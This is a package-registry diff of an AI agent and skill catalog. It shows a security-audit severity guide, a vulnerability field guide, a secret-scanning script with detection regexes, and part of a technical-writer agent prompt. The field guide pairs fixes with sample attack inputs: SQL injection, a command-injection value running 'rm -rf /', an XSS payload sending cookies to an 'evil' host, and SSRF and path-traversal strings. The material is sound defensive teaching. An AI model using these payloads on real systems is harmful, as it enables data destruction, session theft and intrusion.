vanara 0.1.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (195) hide show
  1. package/README.md +14 -0
  2. package/bin/vanara.js +66 -2
  3. package/catalog/agents/api-designer/AGENT.md +156 -0
  4. package/catalog/agents/api-designer/examples/openapi-snippet.yaml +130 -0
  5. package/catalog/agents/api-designer/examples/review-notes.md +61 -0
  6. package/catalog/agents/api-designer/references/contract-and-openapi.md +82 -0
  7. package/catalog/agents/api-designer/references/design-checklist.md +68 -0
  8. package/catalog/agents/api-designer/references/versioning-and-evolution.md +63 -0
  9. package/catalog/agents/api-designer/scripts/lint-openapi.mjs +180 -0
  10. package/catalog/agents/code-reviewer/AGENT.md +184 -0
  11. package/catalog/agents/code-reviewer/examples/pr-comment-template.md +48 -0
  12. package/catalog/agents/code-reviewer/examples/sample-review-output.md +38 -0
  13. package/catalog/agents/code-reviewer/references/review-checklist.md +46 -0
  14. package/catalog/agents/code-reviewer/references/security-review.md +62 -0
  15. package/catalog/agents/code-reviewer/references/severity-rubric.md +63 -0
  16. package/catalog/agents/code-reviewer/scripts/review-guard.mjs +102 -0
  17. package/catalog/agents/debugger/AGENT.md +128 -0
  18. package/catalog/agents/debugger/examples/postmortem-template.md +59 -0
  19. package/catalog/agents/debugger/examples/repro-template.md +50 -0
  20. package/catalog/agents/debugger/references/bisection.md +63 -0
  21. package/catalog/agents/debugger/references/debugging-method.md +57 -0
  22. package/catalog/agents/debugger/references/observability.md +61 -0
  23. package/catalog/agents/debugger/scripts/parse-stacktrace.mjs +109 -0
  24. package/catalog/agents/pr-summarizer/AGENT.md +172 -0
  25. package/catalog/agents/pr-summarizer/examples/sample-pr-summary.md +46 -0
  26. package/catalog/agents/pr-summarizer/examples/weak-vs-strong-summary.md +68 -0
  27. package/catalog/agents/pr-summarizer/references/identifying-risk.md +68 -0
  28. package/catalog/agents/pr-summarizer/references/reading-the-diff.md +68 -0
  29. package/catalog/agents/pr-summarizer/references/test-plan-and-missing-tests.md +64 -0
  30. package/catalog/agents/pr-summarizer/references/writing-the-summary.md +63 -0
  31. package/catalog/agents/pr-summarizer/scripts/diff-risk.mjs +111 -0
  32. package/catalog/agents/refactoring-specialist/AGENT.md +201 -0
  33. package/catalog/agents/refactoring-specialist/examples/before-after.md +91 -0
  34. package/catalog/agents/refactoring-specialist/examples/refactor-plan.md +97 -0
  35. package/catalog/agents/refactoring-specialist/references/large-scale-refactor.md +50 -0
  36. package/catalog/agents/refactoring-specialist/references/safe-workflow.md +75 -0
  37. package/catalog/agents/refactoring-specialist/references/smell-catalog.md +76 -0
  38. package/catalog/agents/refactoring-specialist/scripts/detect-smells.mjs +150 -0
  39. package/catalog/agents/security-auditor/AGENT.md +184 -0
  40. package/catalog/agents/security-auditor/examples/audit-report.md +68 -0
  41. package/catalog/agents/security-auditor/examples/finding-template.md +31 -0
  42. package/catalog/agents/security-auditor/references/audit-workflow.md +116 -0
  43. package/catalog/agents/security-auditor/references/severity-and-reporting.md +56 -0
  44. package/catalog/agents/security-auditor/references/vuln-classes.md +129 -0
  45. package/catalog/agents/security-auditor/scripts/scan-secrets.mjs +86 -0
  46. package/catalog/agents/technical-writer/AGENT.md +179 -0
  47. package/catalog/agents/technical-writer/examples/how-to-example.md +76 -0
  48. package/catalog/agents/technical-writer/examples/reference-example.md +75 -0
  49. package/catalog/agents/technical-writer/references/clarity-and-style.md +52 -0
  50. package/catalog/agents/technical-writer/references/diataxis-and-doc-types.md +61 -0
  51. package/catalog/agents/technical-writer/references/structure-and-maintenance.md +59 -0
  52. package/catalog/agents/technical-writer/scripts/readability.mjs +103 -0
  53. package/catalog/agents/test-author/AGENT.md +193 -0
  54. package/catalog/agents/test-author/examples/test-plan.md +54 -0
  55. package/catalog/agents/test-author/examples/unit-test-example.ts +55 -0
  56. package/catalog/agents/test-author/references/aaa-and-naming.md +75 -0
  57. package/catalog/agents/test-author/references/mocking-and-fixtures.md +94 -0
  58. package/catalog/agents/test-author/references/test-types-and-pyramid.md +60 -0
  59. package/catalog/agents/test-author/scripts/check-coverage.mjs +145 -0
  60. package/catalog/agents/threat-modeler/AGENT.md +179 -0
  61. package/catalog/agents/threat-modeler/examples/dfd-example.md +55 -0
  62. package/catalog/agents/threat-modeler/examples/threat-model.md +81 -0
  63. package/catalog/agents/threat-modeler/references/dfd-and-trust-boundaries.md +76 -0
  64. package/catalog/agents/threat-modeler/references/mitigation-catalog.md +77 -0
  65. package/catalog/agents/threat-modeler/references/stride-method.md +68 -0
  66. package/catalog/agents/threat-modeler/scripts/stride-checklist.mjs +183 -0
  67. package/catalog/agents/vuln-scanner/AGENT.md +162 -0
  68. package/catalog/agents/vuln-scanner/examples/finding-template.md +57 -0
  69. package/catalog/agents/vuln-scanner/examples/scan-report.md +49 -0
  70. package/catalog/agents/vuln-scanner/references/remediation-and-severity.md +68 -0
  71. package/catalog/agents/vuln-scanner/references/scan-types-and-tools.md +83 -0
  72. package/catalog/agents/vuln-scanner/references/triage-and-false-positives.md +73 -0
  73. package/catalog/agents/vuln-scanner/scripts/parse-scan-results.mjs +133 -0
  74. package/catalog/packs/code-review-pack/PACK.md +100 -0
  75. package/catalog/packs/code-review-pack/examples/pr-flow-example.md +50 -0
  76. package/catalog/packs/code-review-pack/references/rollout-guide.md +40 -0
  77. package/catalog/packs/security-pack/PACK.md +128 -0
  78. package/catalog/packs/security-pack/examples/owasp-vuln-triage-and-fix.md +66 -0
  79. package/catalog/packs/security-pack/examples/threat-model-then-audit.md +77 -0
  80. package/catalog/packs/security-pack/references/choosing-the-right-tool.md +37 -0
  81. package/catalog/packs/security-pack/references/threat-model-to-remediation.md +69 -0
  82. package/catalog/packs/security-pack/references/workflow.md +56 -0
  83. package/catalog/skills/api-pagination/SKILL.md +83 -0
  84. package/catalog/skills/api-pagination/examples/keyset-queries.sql +38 -0
  85. package/catalog/skills/api-pagination/examples/response-shapes.md +51 -0
  86. package/catalog/skills/api-pagination/references/consuming-pages.md +39 -0
  87. package/catalog/skills/api-pagination/references/counting-and-totals.md +41 -0
  88. package/catalog/skills/api-pagination/references/cursor-encoding.md +34 -0
  89. package/catalog/skills/api-pagination/scripts/check-cursor.mjs +51 -0
  90. package/catalog/skills/caching-strategies/SKILL.md +180 -0
  91. package/catalog/skills/caching-strategies/examples/http-cache-headers.md +82 -0
  92. package/catalog/skills/caching-strategies/examples/redis-cache-aside.js +110 -0
  93. package/catalog/skills/caching-strategies/references/cache-patterns.md +93 -0
  94. package/catalog/skills/caching-strategies/references/eviction-and-ttl.md +67 -0
  95. package/catalog/skills/caching-strategies/references/invalidation-and-stampede.md +99 -0
  96. package/catalog/skills/caching-strategies/scripts/ttl-jitter.mjs +99 -0
  97. package/catalog/skills/conventional-commits/SKILL.md +135 -0
  98. package/catalog/skills/conventional-commits/examples/commit-examples.md +60 -0
  99. package/catalog/skills/conventional-commits/examples/commitlint.config.js +31 -0
  100. package/catalog/skills/conventional-commits/references/breaking-changes-semver.md +50 -0
  101. package/catalog/skills/conventional-commits/references/scoping-commits.md +42 -0
  102. package/catalog/skills/conventional-commits/references/spec.md +78 -0
  103. package/catalog/skills/conventional-commits/scripts/lint-commit.mjs +97 -0
  104. package/catalog/skills/database-migrations/SKILL.md +137 -0
  105. package/catalog/skills/database-migrations/examples/add-column-safe.sql +34 -0
  106. package/catalog/skills/database-migrations/examples/migration-config.example.json +27 -0
  107. package/catalog/skills/database-migrations/references/expand-contract.md +74 -0
  108. package/catalog/skills/database-migrations/references/rollback-and-safety.md +71 -0
  109. package/catalog/skills/database-migrations/references/zero-downtime-changes.md +84 -0
  110. package/catalog/skills/database-migrations/scripts/check-migration-reversible.mjs +139 -0
  111. package/catalog/skills/error-handling-patterns/SKILL.md +136 -0
  112. package/catalog/skills/error-handling-patterns/examples/express-error-middleware.js +93 -0
  113. package/catalog/skills/error-handling-patterns/examples/result-pattern.ts +81 -0
  114. package/catalog/skills/error-handling-patterns/references/error-taxonomy.md +91 -0
  115. package/catalog/skills/error-handling-patterns/references/language-patterns.md +102 -0
  116. package/catalog/skills/error-handling-patterns/references/retry-and-backoff.md +76 -0
  117. package/catalog/skills/error-handling-patterns/scripts/lint-empty-catch.mjs +113 -0
  118. package/catalog/skills/git-collaboration-workflows/SKILL.md +104 -0
  119. package/catalog/skills/git-collaboration-workflows/examples/branch-protection.md +48 -0
  120. package/catalog/skills/git-collaboration-workflows/examples/pr-review-playbook.md +48 -0
  121. package/catalog/skills/git-collaboration-workflows/references/branching-models.md +52 -0
  122. package/catalog/skills/git-collaboration-workflows/references/history-hygiene.md +44 -0
  123. package/catalog/skills/git-collaboration-workflows/scripts/check-branch-hygiene.mjs +62 -0
  124. package/catalog/skills/owasp-top10/SKILL.md +112 -0
  125. package/catalog/skills/owasp-top10/examples/sql-injection-fix.md +33 -0
  126. package/catalog/skills/owasp-top10/examples/xss-fix.md +27 -0
  127. package/catalog/skills/owasp-top10/references/access-control.md +36 -0
  128. package/catalog/skills/owasp-top10/references/crypto-failures.md +29 -0
  129. package/catalog/skills/owasp-top10/references/injection.md +39 -0
  130. package/catalog/skills/owasp-top10/references/ssrf-and-design.md +35 -0
  131. package/catalog/skills/owasp-top10/scripts/scan-injection.mjs +73 -0
  132. package/catalog/skills/prompt-engineering/SKILL.md +100 -0
  133. package/catalog/skills/prompt-engineering/examples/classification-prompt.md +29 -0
  134. package/catalog/skills/prompt-engineering/examples/extraction-prompt.md +25 -0
  135. package/catalog/skills/prompt-engineering/references/prompt-injection.md +34 -0
  136. package/catalog/skills/prompt-engineering/references/structured-output.md +34 -0
  137. package/catalog/skills/prompt-engineering/references/techniques.md +33 -0
  138. package/catalog/skills/prompt-engineering/scripts/validate-output.mjs +71 -0
  139. package/catalog/skills/readme-writing/SKILL.md +176 -0
  140. package/catalog/skills/readme-writing/examples/README.template.md +73 -0
  141. package/catalog/skills/readme-writing/examples/good-readme-example.md +95 -0
  142. package/catalog/skills/readme-writing/references/anatomy.md +107 -0
  143. package/catalog/skills/readme-writing/references/maintenance.md +68 -0
  144. package/catalog/skills/readme-writing/references/writing-style.md +79 -0
  145. package/catalog/skills/readme-writing/scripts/lint-readme.mjs +117 -0
  146. package/catalog/skills/refactoring-patterns/SKILL.md +178 -0
  147. package/catalog/skills/refactoring-patterns/examples/extract-function.before-after.js +57 -0
  148. package/catalog/skills/refactoring-patterns/examples/replace-conditional-with-polymorphism.before-after.ts +63 -0
  149. package/catalog/skills/refactoring-patterns/references/code-smells.md +92 -0
  150. package/catalog/skills/refactoring-patterns/references/refactoring-catalog.md +78 -0
  151. package/catalog/skills/refactoring-patterns/references/safe-workflow.md +74 -0
  152. package/catalog/skills/refactoring-patterns/scripts/detect-smells.mjs +137 -0
  153. package/catalog/skills/rest-api-design/SKILL.md +147 -0
  154. package/catalog/skills/rest-api-design/examples/error-envelope.json +26 -0
  155. package/catalog/skills/rest-api-design/examples/orders-api.openapi.yaml +106 -0
  156. package/catalog/skills/rest-api-design/references/error-handling.md +43 -0
  157. package/catalog/skills/rest-api-design/references/pagination.md +41 -0
  158. package/catalog/skills/rest-api-design/references/status-codes.md +32 -0
  159. package/catalog/skills/rest-api-design/references/versioning.md +31 -0
  160. package/catalog/skills/rest-api-design/scripts/check-envelope.mjs +62 -0
  161. package/catalog/skills/secrets-management/SKILL.md +134 -0
  162. package/catalog/skills/secrets-management/examples/env-example.md +41 -0
  163. package/catalog/skills/secrets-management/examples/rotation-runbook.md +50 -0
  164. package/catalog/skills/secrets-management/references/leak-response.md +47 -0
  165. package/catalog/skills/secrets-management/references/rotation.md +46 -0
  166. package/catalog/skills/secrets-management/references/secret-managers.md +52 -0
  167. package/catalog/skills/secrets-management/scripts/detect-hardcoded.mjs +96 -0
  168. package/catalog/skills/secure-auth/SKILL.md +135 -0
  169. package/catalog/skills/secure-auth/examples/auth-flow.md +60 -0
  170. package/catalog/skills/secure-auth/examples/jwt-verify.ts +89 -0
  171. package/catalog/skills/secure-auth/references/auth-attacks.md +76 -0
  172. package/catalog/skills/secure-auth/references/oauth2-oidc.md +65 -0
  173. package/catalog/skills/secure-auth/references/password-hashing.md +70 -0
  174. package/catalog/skills/secure-auth/references/sessions-vs-jwt.md +69 -0
  175. package/catalog/skills/secure-auth/scripts/check-password-policy.mjs +114 -0
  176. package/catalog/skills/sql-index-tuning/SKILL.md +171 -0
  177. package/catalog/skills/sql-index-tuning/examples/explain-walkthrough.sql +91 -0
  178. package/catalog/skills/sql-index-tuning/examples/index-ddl.sql +67 -0
  179. package/catalog/skills/sql-index-tuning/references/btree-internals.md +58 -0
  180. package/catalog/skills/sql-index-tuning/references/composite-and-covering.md +60 -0
  181. package/catalog/skills/sql-index-tuning/references/reading-explain.md +54 -0
  182. package/catalog/skills/sql-index-tuning/references/selectivity-and-cardinality.md +62 -0
  183. package/catalog/skills/sql-index-tuning/scripts/suggest-index.mjs +213 -0
  184. package/catalog/skills/test-plan-design/SKILL.md +154 -0
  185. package/catalog/skills/test-plan-design/examples/test-case-template.md +45 -0
  186. package/catalog/skills/test-plan-design/examples/test-plan.md +57 -0
  187. package/catalog/skills/test-plan-design/references/case-design.md +79 -0
  188. package/catalog/skills/test-plan-design/references/risk-prioritization.md +58 -0
  189. package/catalog/skills/test-plan-design/references/test-pyramid.md +58 -0
  190. package/catalog/skills/test-plan-design/scripts/coverage-gaps.mjs +109 -0
  191. package/free-tier.json +15 -0
  192. package/package.json +15 -4
  193. package/premium-index.json +1 -0
  194. package/src/config.js +31 -1
  195. package/src/license.js +143 -0
@@ -0,0 +1,56 @@
1
+ # Severity Calibration & Reporting Contract
2
+
3
+ A finding is only useful if its severity is trustworthy and its report is actionable. This reference
4
+ defines how to assign severity and how to structure the audit report.
5
+
6
+ ## Severity definitions
7
+
8
+ | Severity | Definition | Examples | Action |
9
+ |---|---|---|---|
10
+ | **CRITICAL** | Directly exploitable for RCE, full auth bypass, or mass data exposure, often pre-auth | SQL injection on a public endpoint, `pickle.loads` on request body, hardcoded live cloud key, path traversal reading arbitrary files | **Block merge.** Fix immediately; rotate secrets if exposed. |
11
+ | **HIGH** | Real vulnerability requiring a condition (authentication, a specific input, or chaining) | IDOR readable by any logged-in user, stored XSS, SSRF to internal hosts, weak password hashing | Fix before merge. |
12
+ | **MEDIUM** | Genuine weakness with limited impact or a defense-in-depth gap | Missing rate limit on login, verbose error leaking stack traces, permissive but credential-less CORS, reflected XSS needing user interaction in a low-value flow | Should fix; document if deferred. |
13
+ | **LOW** | Hardening or best-practice nit with no direct exploit | Missing `X-Content-Type-Options` header, cookie without `SameSite`, overly long session TTL | Optional. |
14
+
15
+ ## Calibration rules
16
+
17
+ 1. **No exploit, no HIGH+.** If you cannot state the input, path, and impact, it is at most MEDIUM.
18
+ 2. **Reachability matters.** A SQL injection behind an admin-only, MFA-gated route is HIGH, not
19
+ CRITICAL — note the mitigating control explicitly.
20
+ 3. **Data sensitivity scales severity.** IDOR on public profile data is MEDIUM; IDOR on financial or
21
+ PII records is HIGH/CRITICAL.
22
+ 4. **Don't inflate to seem thorough.** A missing header is never CRITICAL. Miscalibration makes the
23
+ whole report ignorable.
24
+ 5. **Don't deflate to avoid blocking.** A real injection is CRITICAL even if "it's just an internal
25
+ tool". Internal tools get breached too.
26
+ 6. **Defense-in-depth gaps are real but lower.** A second control missing where a first still holds is
27
+ typically MEDIUM/LOW — say "the primary control holds; this is hardening".
28
+
29
+ ## OWASP mapping
30
+
31
+ Every finding cites its OWASP Top 10 (2021) category so readers can group and prioritize. See the
32
+ mapping table in `vuln-classes.md`. If a finding spans two (e.g. SSRF enabling secret theft), list the
33
+ primary and mention the chain.
34
+
35
+ ## Report contract
36
+
37
+ The audit report MUST contain, in order:
38
+
39
+ 1. **Title line** — `## Security Audit — <component / branch>`.
40
+ 2. **Findings grouped by severity**, highest first. Each finding includes:
41
+ - a `file:line` anchor;
42
+ - the OWASP category in bold;
43
+ - a one-sentence exploit scenario (input → path → impact);
44
+ - a **Fix:** with corrected code or a precise action — a real control, not a blocklist.
45
+ 3. **Verdict** — exactly one of **Go** / **Go-with-fixes** / **No-go (block)**, with the count of
46
+ blocking findings.
47
+ 4. **Remediation notes** — any cross-cutting action (e.g. "rotate the leaked DB credential; the value
48
+ remains in git history").
49
+
50
+ ## Verdict rules
51
+
52
+ - Any **CRITICAL** → **No-go (block)**.
53
+ - Any **HIGH** and no CRITICAL → **Go-with-fixes** (fix the HIGHs before merge).
54
+ - Only MEDIUM/LOW → **Go-with-fixes** if owner agrees to track, else **Go**.
55
+ - Nothing found after a real audit → **Go**, and say so plainly. A clean verdict from a thorough pass
56
+ is a valid, valuable result — do not invent findings to justify the effort.
@@ -0,0 +1,129 @@
1
+ # Vulnerability Classes — Signatures, Exploits, Fixes
2
+
3
+ A field guide to the classes you audit most. Each entry: how to spot it, a concrete exploit, and the
4
+ correct fix. Fixes favor **parameterization, output encoding, and allow-lists** over blocklists.
5
+
6
+ ## 1. SQL / NoSQL Injection (OWASP A03)
7
+
8
+ **Signature:** request data concatenated or interpolated into a query string.
9
+ ```js
10
+ db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`); // VULNERABLE
11
+ ```
12
+ **Exploit:** `email = ' OR '1'='1` returns all rows; `'; DROP TABLE users--` destroys data.
13
+ **Fix:** parameterized query; bind values, never interpolate.
14
+ ```js
15
+ db.query('SELECT * FROM users WHERE email = ?', [req.body.email]); // SAFE
16
+ ```
17
+ Identifiers (column/table/sort) can't be bound — **allow-list** them:
18
+ ```js
19
+ const COLS = { created_at: 'created_at', total: 'total' };
20
+ const col = COLS[req.query.sort] ?? 'created_at';
21
+ ```
22
+ NoSQL variant: `User.find({ name: req.body.name })` where `name` is `{ "$ne": null }` → operator
23
+ injection. Fix: cast to string / reject object-typed values for scalar fields.
24
+
25
+ ## 2. Broken Access Control / IDOR (OWASP A01)
26
+
27
+ **Signature:** an object id from the request used to fetch/mutate data with **no ownership check**.
28
+ ```js
29
+ app.get('/invoices/:id', auth, async (req, res) => {
30
+ res.json(await db.invoices.findById(req.params.id)); // VULNERABLE: any user reads any invoice
31
+ });
32
+ ```
33
+ **Exploit:** authenticated user iterates `:id` to read others' invoices (horizontal escalation).
34
+ **Fix:** check ownership against the session principal; return 404 (not 403) to avoid leaking
35
+ existence.
36
+ ```js
37
+ const inv = await db.invoices.findById(req.params.id);
38
+ if (!inv || inv.userId !== req.session.userId) return res.status(404).end();
39
+ res.json(inv);
40
+ ```
41
+ Also: missing role checks on admin routes (vertical escalation), and trusting a client-supplied
42
+ `role`/`isAdmin` field. Authentication ≠ authorization.
43
+
44
+ ## 3. OS Command Injection (OWASP A03)
45
+
46
+ **Signature:** request data passed through a shell.
47
+ ```js
48
+ exec(`convert ${req.query.file} out.png`); // VULNERABLE
49
+ ```
50
+ **Exploit:** `file = x.png; rm -rf /` runs arbitrary commands.
51
+ **Fix:** avoid the shell; use an argv array via `execFile`, and allow-list inputs.
52
+ ```js
53
+ execFile('convert', [path.basename(req.query.file), 'out.png']); // SAFE
54
+ ```
55
+
56
+ ## 4. Cross-Site Scripting / XSS (OWASP A03)
57
+
58
+ **Signature:** untrusted data written into HTML without contextual encoding.
59
+ ```jsx
60
+ <div dangerouslySetInnerHTML={{ __html: comment.body }} /> // VULNERABLE (stored XSS)
61
+ element.innerHTML = req.query.q; // VULNERABLE (reflected XSS)
62
+ ```
63
+ **Exploit:** `body = <img src=x onerror=fetch('//evil/'+document.cookie)>` steals sessions.
64
+ **Fix:** render as text (`textContent`, framework auto-escaping). If raw HTML is truly required,
65
+ sanitize with a vetted allow-list sanitizer (e.g. DOMPurify) — never a hand-rolled blocklist.
66
+
67
+ ## 5. Hardcoded Secrets / Cryptographic Failures (OWASP A02/A07)
68
+
69
+ **Signature:** keys, tokens, passwords, or private keys committed in source.
70
+ ```js
71
+ const AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'; // VULNERABLE (example/fake — illustration)
72
+ const token = 'sk_live_4eC39HqLyjWDarjtT1zdp7dc'; // VULNERABLE
73
+ ```
74
+ **Exploit:** anyone with repo (or git history, or a leaked build) access uses the credential directly.
75
+ **Fix:** move to env / secret manager; **rotate** the exposed secret (history retains it); add a
76
+ pre-commit secret scan. Detect with `scripts/scan-secrets.mjs`.
77
+ Crypto adjacent: passwords hashed with MD5/SHA1 → use bcrypt/scrypt/argon2 + salt. Token compare with
78
+ `==` → constant-time compare (`crypto.timingSafeEqual`).
79
+
80
+ ## 6. Insecure Deserialization (OWASP A08)
81
+
82
+ **Signature:** untrusted bytes fed to a deserializer that can instantiate objects.
83
+ ```python
84
+ data = pickle.loads(request.body) # VULNERABLE: pickle can execute on load
85
+ cfg = yaml.load(user_input) # VULNERABLE: full loader builds arbitrary objects
86
+ ```
87
+ **Exploit:** crafted payload triggers code execution during deserialization (RCE).
88
+ **Fix:** use safe formats/parsers — `json.loads`, `yaml.safe_load`; validate against a schema; never
89
+ deserialize untrusted input into live objects. JS: avoid `eval`/`Function`; guard against prototype
90
+ pollution (`__proto__`/`constructor` keys) when merging request objects.
91
+
92
+ ## 7. Server-Side Request Forgery / SSRF (OWASP A10)
93
+
94
+ **Signature:** a user-influenced URL or host reaching an outbound request.
95
+ ```js
96
+ const r = await fetch(req.query.url); // VULNERABLE
97
+ ```
98
+ **Exploit:** `url = http://169.254.169.254/latest/meta-data/` reads cloud credentials; or pivots to
99
+ internal services behind the firewall.
100
+ **Fix:** allow-list permitted hosts/schemes; resolve the hostname and **reject private/link-local
101
+ ranges** (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16) and the metadata IP; disable redirects to
102
+ unvetted hosts.
103
+
104
+ ## 8. Path Traversal (OWASP A01)
105
+
106
+ **Signature:** request data used to build a filesystem path.
107
+ ```js
108
+ fs.readFile(path.join('/var/data', req.query.name)); // VULNERABLE
109
+ ```
110
+ **Exploit:** `name = ../../../../etc/passwd` escapes the base directory.
111
+ **Fix:** strip directory components and confine to a base dir.
112
+ ```js
113
+ const base = path.resolve('/var/data');
114
+ const target = path.resolve(base, path.basename(req.query.name));
115
+ if (!target.startsWith(base + path.sep)) throw new Error('invalid path'); // SAFE
116
+ ```
117
+
118
+ ## Quick mapping to OWASP Top 10 (2021)
119
+
120
+ | Class | Category |
121
+ |---|---|
122
+ | Broken access control, IDOR, path traversal | A01 |
123
+ | Cryptographic failures, hardcoded secrets | A02 |
124
+ | SQL/command/XSS/SSTI injection | A03 |
125
+ | Security misconfiguration, permissive CORS | A05 |
126
+ | Vulnerable/outdated dependencies | A06 |
127
+ | Weak auth, password hashing, timing compare | A07 |
128
+ | Insecure deserialization, prototype pollution | A08 |
129
+ | SSRF | A10 |
@@ -0,0 +1,86 @@
1
+ #!/usr/bin/env node
2
+ // Runnable check: regex-scans a code string for hardcoded secrets (AWS access keys,
3
+ // generic/bearer API tokens, Stripe-style live keys, and PEM private-key blocks).
4
+ // Zero dependencies — Node built-ins only. Mirrors the --selftest convention of the
5
+ // catalog's check-envelope.mjs (exit 0 = clean/all-expected, 1 = secret found/failure).
6
+ //
7
+ // Usage:
8
+ // node scan-secrets.mjs '<code>' # scan a literal code string
9
+ // echo '<code>' | node scan-secrets.mjs # scan from stdin
10
+ // node scan-secrets.mjs --selftest # run built-in leaky & clean test cases
11
+ //
12
+ // Exit codes (non-selftest): 0 = no secrets found, 1 = at least one secret found.
13
+
14
+ // Each rule: a human label, an OWASP-ish severity, and a detection regex. Patterns are
15
+ // deliberately specific to keep false positives low. The selftest values are obviously fake.
16
+ const RULES = [
17
+ ['AWS access key id', 'CRITICAL', /\bAKIA[0-9A-Z]{16}\b/],
18
+ ['AWS secret access key (assignment)', 'CRITICAL',
19
+ /aws_secret_access_key\s*[:=]\s*['"][A-Za-z0-9/+=]{40}['"]/i],
20
+ ['Stripe-style live secret key', 'CRITICAL', /\bsk_live_[0-9a-zA-Z]{16,}\b/],
21
+ ['Generic API token assignment', 'HIGH',
22
+ /\b(?:api[_-]?key|api[_-]?token|secret|access[_-]?token)\s*[:=]\s*['"][0-9a-zA-Z._\-]{16,}['"]/i],
23
+ ['Bearer token literal', 'HIGH', /\bBearer\s+[0-9a-zA-Z._\-]{20,}\b/],
24
+ ['Private key block (PEM)', 'CRITICAL', /-----BEGIN(?:\s+\w+)?\s+PRIVATE KEY-----/],
25
+ ['Slack token', 'HIGH', /\bxox[baprs]-[0-9A-Za-z-]{10,}\b/],
26
+ ];
27
+
28
+ export function scanSecrets(code) {
29
+ const text = typeof code === 'string' ? code : String(code ?? '');
30
+ const findings = [];
31
+ for (const [label, severity, re] of RULES) {
32
+ const m = text.match(re);
33
+ if (m) findings.push({ label, severity, match: redact(m[0]) });
34
+ }
35
+ return { ok: findings.length === 0, findings };
36
+ }
37
+
38
+ // Never echo a full candidate secret back to the terminal/logs.
39
+ function redact(s) {
40
+ if (s.length <= 8) return '*'.repeat(s.length);
41
+ return `${s.slice(0, 4)}…${s.slice(-2)} (${s.length} chars)`;
42
+ }
43
+
44
+ function check(label, code) {
45
+ const { ok, findings } = scanSecrets(code);
46
+ if (ok) {
47
+ console.log(`✓ ${label}: no hardcoded secrets detected`);
48
+ } else {
49
+ console.error(`✗ ${label}: ${findings.length} secret(s) detected`);
50
+ findings.forEach((f) => console.error(` [${f.severity}] ${f.label} — ${f.match}`));
51
+ }
52
+ return ok;
53
+ }
54
+
55
+ function selftest() {
56
+ // Every "leaky" value below is intentionally fake / example data.
57
+ const cases = {
58
+ leaky_aws: 'const id = "AKIAIOSFODNN7EXAMPLE";',
59
+ leaky_stripe: 'const key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc";',
60
+ leaky_token: 'api_key: "abc123DEF456ghi789JKL"',
61
+ leaky_pem: '-----BEGIN RSA PRIVATE KEY-----\nMIIE...fake...\n-----END RSA PRIVATE KEY-----',
62
+ clean_config: 'const key = process.env.API_KEY; // loaded from secret manager',
63
+ clean_prose: 'This module reads the bearer token from the Authorization header at runtime.',
64
+ };
65
+ let allExpected = true;
66
+ for (const [name, code] of Object.entries(cases)) {
67
+ const { ok } = scanSecrets(code);
68
+ const shouldBeClean = name.startsWith('clean');
69
+ const correct = ok === shouldBeClean;
70
+ allExpected &&= correct;
71
+ console.log(
72
+ `${correct ? '✓' : '✗'} selftest ${name}: ${ok ? 'clean' : 'secret-found'} ` +
73
+ `(expected ${shouldBeClean ? 'clean' : 'secret-found'})`,
74
+ );
75
+ }
76
+ process.exit(allExpected ? 0 : 1);
77
+ }
78
+
79
+ const arg = process.argv[2];
80
+ if (arg === '--selftest') selftest();
81
+ else if (arg) process.exit(check('code', arg) ? 0 : 1);
82
+ else {
83
+ let buf = '';
84
+ process.stdin.on('data', (c) => (buf += c));
85
+ process.stdin.on('end', () => process.exit(check('stdin', buf) ? 0 : 1));
86
+ }
@@ -0,0 +1,179 @@
1
+ ---
2
+ name: technical-writer
3
+ description: Use PROACTIVELY when documentation is needed for a feature, tool, API, or system — READMEs, tutorials, how-to guides, references, or explanations. Produces clear, task-oriented docs structured by the reader's goal using the Diátaxis model, with verified, runnable examples.
4
+ tools: Read, Write, Edit, Grep, Glob
5
+ model: claude-sonnet-4-6
6
+ type: agent
7
+ version: 2.0.0
8
+ updated: 2026-06-29
9
+ ---
10
+ # Technical Writer
11
+
12
+ You write documentation people can actually follow. You organize content by **what the reader is trying
13
+ to do**, not by how the system happens to be built. A good doc has exactly one job, names its audience,
14
+ front-loads what they need, and proves every example actually runs. You are ruthless about clarity: if a
15
+ sentence can be shorter, cut it; if a step can fail silently, say so.
16
+
17
+ The single most common documentation failure is **mixing doc types** — a "getting started" page that is
18
+ half tutorial, half API reference, half design rationale, and useful for none of those readers. Your core
19
+ discipline is the **Diátaxis** framework: every document is exactly one of *tutorial*, *how-to guide*,
20
+ *reference*, or *explanation*. You decide which before writing a word, and you keep the modes separate,
21
+ linking between them instead of cramming everything onto one page.
22
+
23
+ ## Role and operating principles
24
+
25
+ - Write for a specific reader with a specific goal in a specific moment, not for "users" in the abstract.
26
+ - One doc, one job. If you feel two jobs forming, split the page and link.
27
+ - Use the reader's vocabulary. Define jargon on first use; never assume the reader shares your mental model.
28
+ - Every example is **copy-pasteable and verified**, not illustrative pseudo-code that won't run.
29
+ - Show the expected outcome so a reader knows whether they succeeded.
30
+ - Heavy reference material, full style rules, and maintenance process live in `references/`.
31
+
32
+ ## Workflow
33
+
34
+ Follow these steps in order. Do not start drafting before steps 1–2 are settled.
35
+
36
+ 1. **Identify the audience and task.** Who is reading, what do they already know, and what outcome do
37
+ they want right now? Capture their entry state (fresh clone? authenticated? mid-incident?) and their
38
+ exit state (working app? a value looked up? a decision made?).
39
+ 2. **Pick the doc type (Diátaxis).** Map the goal to one quadrant. Learning → *tutorial*; accomplishing a
40
+ concrete task → *how-to*; looking something up → *reference*; understanding *why* → *explanation*. See
41
+ `references/diataxis-and-doc-types.md` for the decision table and tell-tale signs of a blended doc.
42
+ 3. **Outline for that type.** Each type has a skeleton: tutorials are linear and confidence-building;
43
+ how-tos are goal-first and assume competence; references are exhaustive and consistent; explanations
44
+ are discursive and make trade-offs explicit.
45
+ 4. **Draft.** Front-load prerequisites and the expected result. Write task-oriented steps in the reader's
46
+ context. Keep paragraphs short; prefer lists, tables, and headings over walls of text.
47
+ 5. **Clarity pass.** Cut filler, replace abstraction with the concrete, split run-on sentences, and
48
+ convert passive hedging into direct instruction. See the before/after below and
49
+ `references/clarity-and-style.md`.
50
+ 6. **Verify examples.** Mentally (or actually) run every command and snippet from the documented starting
51
+ state. If you cannot verify a step, flag it explicitly rather than guessing.
52
+ 7. **Self-check.** Follow your own document from a clean state end to end. If a reader could get stuck,
53
+ the doc is not done.
54
+
